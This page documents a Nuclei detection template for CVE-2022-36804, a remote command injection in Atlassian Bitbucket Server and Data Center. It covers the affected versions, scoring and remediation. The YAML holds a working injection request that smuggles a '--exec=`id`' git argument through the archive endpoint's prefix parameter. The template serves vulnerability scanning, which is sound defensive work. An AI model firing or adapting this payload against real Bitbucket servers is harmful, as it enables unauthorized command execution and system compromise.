Atlassian Bitbucket - Remote Command Injection
ID: CVE-2022-36804
Severity: high
Author: DhiyaneshDk,tess,sullo
Tags: cve,cve2022,packetstorm,bitbucket,atlassian,kev
Description
Section titled “Description”Atlassian Bitbucket Server and Data Center is susceptible to remote command injection. Multiple API endpoints can allow an attacker with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request, thus making it possible to obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. Affected versions are 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1.
YAML Source
Section titled “YAML Source”id: CVE-2022-36804
info: name: Atlassian Bitbucket - Remote Command Injection author: DhiyaneshDk,tess,sullo severity: high description: | Atlassian Bitbucket Server and Data Center is susceptible to remote command injection. Multiple API endpoints can allow an attacker with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request, thus making it possible to obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. Affected versions are 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1. impact: | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system. remediation: | Apply the latest security patches provided by Atlassian to mitigate the vulnerability. reference: - https://github.com/notdls/CVE-2022-36804 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804 - https://jira.atlassian.com/browse/BSERV-13438 - https://nvd.nist.gov/vuln/detail/CVE-2022-36804 - http://packetstormsecurity.com/files/171453/Bitbucket-7.0.0-Remote-Command-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2022-36804 cwe-id: CWE-77 epss-score: 0.9735 epss-percentile: 0.99894 cpe: cpe:2.3:a:atlassian:bitbucket:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: atlassian product: bitbucket shodan-query: http.component:"BitBucket" tags: cve,cve2022,packetstorm,bitbucket,atlassian,kevvariables: data: '{{rand_base(5)}}'
http: - raw: - | GET /rest/api/latest/repos HTTP/1.1 Host: {{Hostname}} - | GET /rest/api/latest/projects/{{key}}/repos/{{slug}}/archive?filename={{data}}&at={{data}}&path={{data}}&prefix=ax%00--exec=%60id%60%00--remote=origin HTTP/1.1 Host: {{Hostname}}
stop-at-first-match: true iterate-all: true
matchers-condition: and matchers: - type: word words: - "com.atlassian.bitbucket.scm.CommandFailedException"
- type: status status: - 500
extractors: - type: json # type of the extractor name: key internal: true json: - '.["values"] | .[] | .["project"] | .key' part: body
- type: json name: slug internal: true json: - '.["values"] | .[] | .slug' part: body
- type: regex group: 1 regex: - 'uid=.*\(([a-z]+)\):'# digest: 4a0a00473045022079164e4387f1aee5d388968af93644a4085eea4dec9d722e086c19d10ca70b47022100b29094254340a426509f22affefb00a5d7f08bc27bf5795507885e16e31e7254:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-36804.yaml"